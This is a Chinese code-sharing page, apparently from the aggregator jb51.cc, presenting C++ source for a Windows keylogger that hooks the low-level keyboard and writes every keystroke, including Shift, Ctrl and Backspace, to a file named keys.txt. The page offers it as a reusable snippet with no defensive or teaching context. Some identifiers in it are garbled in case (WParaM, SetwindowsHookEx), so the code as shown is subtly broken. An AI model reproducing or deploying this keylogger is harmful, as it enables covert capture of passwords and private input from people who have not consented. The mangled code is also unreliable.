下面是编程之家 jb51.cc 通过网络收集整理的代码片段。
编程之家小编现在分享给大家,也给大家做个参考。
#define _WIN32_WINNT 0x0500 #include<fstream> #include<windows.h> using namespace std; ofstream out("keys.txt",ios::out); LRESULT CALLBACK keyboardHookProc(int nCode,WParaM wParam,LParaM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p->vkCode) { // Invisible keys case VK_CAPITAL: out << "<CAPLOCK>"; break; case VK_SHIFT: out << "<SHIFT>"; break; case VK_LCONTROL: out << "<LCTRL>"; break; case VK_RCONTROL: out << "<RCTRL>"; break; case VK_INSERT: out << "<INSERT>"; break; case VK_END: out << "<END>"; break; case VK_PRINT: out << "<PRINT>"; break; case VK_DELETE: out << "<DEL>"; break; case VK_BACK: out << "<BK>"; break; case VK_LEFT: out << "<LEFT>"; break; case VK_RIGHT: out << "<RIGHT>"; break; case VK_UP: out << "<UP>"; break; case VK_DOWN: out << "<DOWN>"; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL,nCode,wParam,lParam); } int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) { // Set windows hook HHOOK keyboardHook = SetwindowsHookEx( WH_KEYBOARD_LL,keyboardHookProc,hInstance,0); MessageBox(NULL,"Press OK to stop logging.","information",MB_OK); out.close(); return 0; }
以上是编程之家(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。
如果觉得编程之家网站内容还不错,欢迎将编程之家网站推荐给程序员好友。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。